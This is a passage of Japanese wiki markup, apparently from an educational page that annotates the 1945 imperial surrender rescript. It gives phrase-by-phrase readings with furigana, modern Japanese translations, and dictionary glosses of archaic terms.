t&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;必&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かなら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ずしも&lt;ruby&gt;&lt;rb&gt;好&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;転&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せず、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;また&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;われ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;利&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;り&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;あらず。&lt;ruby&gt;&lt;rb&gt;加之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しかのみならず&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;敵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;新&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あらた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;残&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ざん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;虐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;弾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;使&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;用&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;して、&lt;ruby&gt;&lt;rb&gt;頻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しきり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;無&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;む&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;辜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;殺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;惨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;害&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;およ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぶ&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;真&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;測&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るべからざるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;而&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;尚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;継&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;続&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんか、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;わ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぼう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;招&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;するのみならず、&lt;ruby&gt;&lt;rb&gt;延&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;人&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;類&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;るい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;文&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぶん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;明&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をも&lt;ruby&gt;&lt;rb&gt;破&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;は&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;却&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;斯&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くんば、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;何&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なに&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;てか&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;保&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほ(っ)&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;祖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宗&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;霊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;謝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゃ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんや、&lt;ruby&gt;&lt;rb&gt;是&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;応&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぜしむるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れる&lt;ruby&gt;&lt;rb&gt;所以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆえん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;/p&gt;
&lt;/div&gt;
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]　（[[#抑〻]]　[[#康寧]]　）
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]　（[[#萬邦&amp;#xE0102;]]　[[#共榮]]　[[#樂ヲ偕ニスル]]　[[#偕樂]]）
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]　（[[#皇祖&amp;#xFE00;皇宗]]　[[#遺&amp;#xE0101;範]]）
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]　（[[#拳&amp;#xE0101;々]]　[[#措カサル]]）
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]　（[[#曩ニ]]）
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]　（[[#自存]]　[[#庻󠄀幾󠄁󠄁]]）
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]　（[[#固ヨリ]]　[[#志]]）
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]

=== 抑〻帝國臣民ノ康寧ヲ圖リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：そもそも、帝国国民の平穏無事に尽力し、
&lt;/p&gt;
==== 抑〻 ====
*「抑〻」（そもそも）：接続詞の「そも」を二つ重ねた形。いったい（一体）、さて。&lt;ref&gt;[https://kotobank.jp/word/%E6%8A%91-555342#w-2032227 抑(ソモソモ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 康寧 ====
*「康寧」（こうねい）：やすらかなこと。平穏無事であること。安寧。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B7%E5%AF%A7-497016#w-497016 康寧(コウネイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：世界のすべての国々と共に栄える歓びを分かち合うことは、
&lt;/p&gt;
==== 萬邦&amp;#xE0102; ====
*「萬邦&amp;#xE0102;（万邦、ばんぽう）」：多くの国。あらゆる国。すべての国。&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%87%E9%82%A6-607323#w-607323 万邦(バンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 共榮 ====
*「共榮（共栄）」：共に栄えること。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%B1%E6%A0%84-477753#w-477753 共栄(キョウエイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 樂ヲ偕ニスル ====
*「樂ヲ偕ニスル」（たのしみをともにする）：漢語の「[[#偕樂]]」と同じで、「多くの人々とともに楽しむこと。」
**「樂（楽）」（たのしみ）：心身が満たされて、快いこと。&lt;ref&gt;[https://kotobank.jp/word/%E6%A5%BD-43522#w-2040648 楽(ラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 偕樂 ====
*「偕樂（偕楽）」（かいらく）： 多くの人々とともに楽しむこと&lt;ref&gt;[https://kotobank.jp/word/%E5%81%95%E6%A5%BD-458657#w-458657 偕楽(カイラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。『[[w:孟子 (書物)|孟子]]』の「梁恵王・上」にある「古之人與民偕樂故能樂也」（古の人は民と偕に楽しむ、故に能く楽しむなり）に由来し、水戸の[[w:偕楽園|偕楽園]]の名にも取り入れられている。
=== 皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：歴代天皇が遺されたお手本であり、
&lt;/p&gt;
====皇祖&amp;#xFE00;皇宗====
*「皇祖&amp;#xFE00;皇宗（皇祖皇宗）」：天皇の始祖と、当代天皇にいたるまでの歴代の天皇。&lt;ref&gt;[https://kotobank.jp/word/%E7%9A%87%E7%A5%96%E7%9A%87%E5%AE%97-496352#w-496352 皇祖皇宗(コウソコウソウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
====遺&amp;#xE0101;範====
*「遺&amp;#xE0101;範（遺範）」：前人ののこした手本。&lt;ref&gt;[https://kotobank.jp/word/%E9%81%BA%E7%AF%84-2008336 遺範(いはん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしが、常に肝に銘じて大事に守っていることである。&lt;/p&gt;
====拳&amp;#xE0101;々====
*「拳&amp;#xE0101;々」：両手で捧げ持ち、固く握って離さない様子。転じて、熱心に心に持ち続けること。&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3-491747 拳拳(ケンケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
*:『[[w:礼記|礼記]]』の「[[s:ja:禮記/中庸|中庸]]」に出て来る「拳拳服膺」（捧げ持つように心に銘記し、常に忘れないでいる）が有名&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3%E6%9C%8D%E8%86%BA-491781#w-491781 拳拳服膺(ケンケンフクヨウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。
====措カサル====
*「措カサル（措かざる）」：そのままにしておかない。
=== 曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：先にアメリカ・イギリス二か国に宣戦布告した理由も同様に、&lt;/p&gt;
==== 曩ニ ====
*「曩に」：さきに。「先に」とも表記する。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%88%E3%81%AB-509391#w-1976887 先に(サキニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：まさに日本帝国の自立と生存および東アジア諸国の安定を心から願ってのことであり、&lt;/p&gt;
==== 自存 ====
*「自存」：他に頼らないで自分の力で生存すること。
*:&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも「帝国は今や自存自衛の為蹶然起って」というフレーズがある。）&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E8%87%AA%E5%AD%98-520220#goog_rewarded 自存(ジソン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 庻󠄀幾󠄁󠄁 ====
*「庻󠄀幾󠄁󠄁（庶幾 しょき）」：心から願うこと。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B6%E5%B9%BE-533981#w-533981 庶幾(ショキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ ===
